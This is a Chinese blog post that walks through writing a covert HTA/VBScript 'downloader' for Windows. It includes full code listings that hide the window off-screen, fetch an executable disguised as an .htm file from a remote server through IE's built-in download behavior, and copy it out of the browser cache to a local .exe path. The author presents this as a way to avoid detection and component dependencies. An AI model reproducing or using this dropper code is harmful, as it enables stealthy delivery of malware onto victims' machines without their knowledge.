一、先說(shuō)本blog上有兩個(gè)比較新穎的vbs下載者，一個(gè)是利用CDO.Message組件做的，另一個(gè)是用Microsoft.XMLDOM做的，參見(jiàn)https://www.jb51.net/article/15506.htm。這兩個(gè)下載者一個(gè)是利用起來(lái)比較麻煩，需要事先把exe進(jìn)行轉(zhuǎn)化。第二使用中cscript.exe會(huì)訪問(wèn)網(wǎng)絡(luò)，不太隱蔽。第二個(gè)是有的機(jī)器上并不存在這兩個(gè)組件及利用到ADODB.Stream的，所以有些弊端。
二、再來(lái)說(shuō)一下lake2的下載者h(yuǎn)ttp://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。這個(gè)下載者算是不錯(cuò)了，但是也有問(wèn)題。一個(gè)是如果裝了360等其它的瀏覽器的話，會(huì)打開(kāi)一個(gè)ie窗口，并且從注冊(cè)表中讀到的ie緩存位置不一定準(zhǔn)確。
三、那我們?nèi)绾蝸?lái)更新這些缺陷？還是有辦法的。我們用hta來(lái)寫(xiě)，這個(gè)就比較少見(jiàn)了.hh.exe訪問(wèn)網(wǎng)絡(luò)一般估計(jì)會(huì)放行的。寫(xiě)這個(gè)下載者要解決的困難有幾下幾點(diǎn)：
（1）.使hta不可見(jiàn)-------------》簡(jiǎn)單，移動(dòng)窗口
（2）.使hta接收命令行參數(shù)--------------》本blog上有資料
（3）.不調(diào)用上邊一、二大項(xiàng)所說(shuō)的所有組件-----------》這個(gè)我們利用ie的默認(rèn)行為
（4）.ie緩存的臨時(shí)位置---------》我用的環(huán)境變量
(5)我們不調(diào)用任何組件-------------------》需要手動(dòng)
四、代碼（直接把參數(shù)寫(xiě)在hta里）
復(fù)制代碼 代碼如下:
script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可見(jiàn)
set objshell= Createobject("WScript.Shell")'hta是可以直接調(diào)用WScript.Shell的，不過(guò)不能調(diào)用wscript.Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")"\Local Settings" '根據(jù)環(huán)境變量得到下載的路徑
set xml=document.createElement("xml")'建方xml元素調(diào)用ie的默認(rèn)行為
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'請(qǐng)把exe改名放到空間上，用ftp軟件上傳的話，可能不行，直接放比較好
ShowAllFile(downpath)
Sub ShowAllFile(Path) '遍歷查找，直接用lake2的代碼
FindFileName="xx[1].htm" '這個(gè)也是你需要改的，如果上邊是xx.htm，這里就是xx[1].htm
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path"\"f1.name"\"FindFileName) Then
FSO.CopyFile path"\"f1.name"\"FindFileName, "c:\111.exe" '保存到c:\111.exe，可根據(jù)需要改動(dòng)
'document.write "[+]Download Success !"
End If
ShowAllFile path"\"f1.name
Next
Set FSO = Nothing
End Sub
window.close
/script>
用法是：把exe好比xx.exe改名放到空間上，然后命令行下或雙擊這個(gè)hta就可以了。
五、另一份代碼（傳命令行參數(shù)）
我個(gè)人覺(jué)得第四部份的代碼比較好，修改一下用就可以了。如果調(diào)用命令行參數(shù)的話，我發(fā)現(xiàn)還是會(huì)出現(xiàn)hta小窗口，下載完后才關(guān)閉，所以這不太好。代碼：
復(fù)制代碼 代碼如下:
HTA:APPLICATION
ID="MySampleHTA"
Caption="yes">
script language=vbs>
on error resume Next
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可見(jiàn)
cmdLineArray = Split(MySampleHTA.commandLine)'這是把命令中的參數(shù)變成數(shù)組
set objshell= Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")"\Local Settings" '根據(jù)環(huán)境變量得到下載的路徑
temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") '從命令行得到當(dāng)前文件名
temp=split(temp,".")'根據(jù).分割
FindFileName=temp(0)"[1]."temp(1)
LocalName=objshell.CurrentDirectory"\"temp(0)".exe"
set xml=document.createElement("xml")
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load(cmdLineArray(UBound(cmdLineArray)))
ShowAllFile(downpath)
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path"\"f1.name"\"FindFileName) Then
FSO.CopyFile path"\"f1.name"\"FindFileName, LocalName
'document.write "[+]Download Success !"
End If
ShowAllFile path"\"f1.name
Next
Set FSO = Nothing
End Sub
Function LastOne(Str,splitStr)
'輸入字符和分隔符，得到最后一部分
LastOne = right(Str,len(Str)-InStrRev(Str,splitStr))
End Function
window.close
/script>
用法是：把exe好比xx.exe改名xx.htm放到空間上，然后命令行下好比"c:\xx.hta http://www.target.com/xx.htm"，這樣xx.exe就會(huì)保存到c:
六、不調(diào)用任何組件（需手動(dòng)查找下載的xx[1].htm）：
復(fù)制代碼 代碼如下:
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可見(jiàn)
set xml=document.createElement("xml")'建方xml元素調(diào)用ie的默認(rèn)行為
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'
window.close
七、缺點(diǎn)
我這個(gè)hta下載者并不是完美的。第一是因?yàn)橄螺d到的臨時(shí)變量我用到了ExpandEnvironmentStrings("%USERPROFILE%")，這樣在用戶環(huán)境下可用，如果是system權(quán)限下可能不正常（我猜測(cè)的，并沒(méi)有測(cè)試）。第二是因?yàn)橄螺d成功后并沒(méi)有提示，直接用hta在命令行下顯示出回顯有些麻煩，所以我沒(méi)有做，嘿嘿。
